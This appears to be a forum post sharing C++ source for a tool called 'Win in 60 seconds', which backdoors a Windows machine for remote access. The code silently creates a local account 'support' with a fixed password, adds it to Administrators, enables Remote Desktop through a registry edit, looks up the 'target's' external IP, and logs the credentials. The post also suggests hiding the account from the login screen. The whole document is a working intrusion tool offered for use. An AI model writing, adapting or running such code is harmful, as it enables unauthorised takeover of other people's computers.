Win in 60 seconds [Gain full admin remote access on windows easily ]

Code
#include <windows.h>

#include <wininet.h>

#include <iostream>

#include <conio.h>

#include <string>

#include <fstream>



#pragma comment(lib, "wininet")



 std::string result = "";



  //Pipe for streaming data

  std::string exec(char* cmd) {

    FILE* _pipe = _popen(cmd, "r");

    if (!_pipe) return "ERROR";

    char buffer[128];  

    while(!feof(_pipe)) {

        if(fgets(buffer, 128, _pipe) != NULL)



            result += buffer;



    }

    _pclose(_pipe);

    return result;

  }



    void getwan()

    {

    //GET WAN IP

    HINTERNET hInternet, hFile;

    DWORD rSize;

    char buffer2[100];



    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    hFile = InternetOpenUrl(hInternet, "http://www.whatsmyip.us/showipsimple.php", NULL, 0, INTERNET_FLAG_RELOAD, 0);

    InternetReadFile(hFile, &buffer2, sizeof(buffer2), &rSize);

    buffer2[rSize] = '\0';



    InternetCloseHandle(hFile);

    InternetCloseHandle(hInternet);



    result+="Targets WAN Ip address = " ;

    result+=buffer2;

    result+="\n";



    }



int main()

{

    result+="Log for Win in 60 seconds by Dreamwalker\n";

    result+="\thttp://Dream-walker.weebly.com\n";

    result+="======\n\n";



    std::cout<<"Win in 60 seconds, by Dreamwalker\n"<<std::endl;



    //get external IP

    std::cout<<"Getting machines external IP...."<<std::endl;

    getwan();



    //------Execute commands------



    //CREATE NEW USER ACCOUNT

    std::cout<<"Creating user...."<<std::endl;

    exec("net user support password$C /add");

    result+="IF SUCESSFUL, admin account created:\nUsername = \"support\" \nPassword = \"password$C\"\n";

    //ADD USER TO ADMIN GROUP

    std::cout<<"Adding to Administrators group...."<<std::endl;

    exec("net localgroup administrators support /add");

    //ENABLE REMOTE DESKTOP

    std::cout<<"Enabling remote desktop..."<<std::endl;

    exec("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");

    result+="Targets remote desktop should now be enabled\n";



    result+="WARNING: I suggest editing the registry and hiding the user from the welcome login screen!\n";



    //write file

    std::ofstream writer("log.txt",std::ios::app);



    if(!writer)

    {

        std::cout<<"Error writing file!"<<std::endl;

        Sleep(5000);

        return -1;

    }



    writer<<result<<std::endl;

    writer.close();



    std::cout<<"FINISHED, there is a \"log.txt\" file saved in this directory"<<std::endl;

    char tmp;

    std::cin>>tmp;



    return 0;

}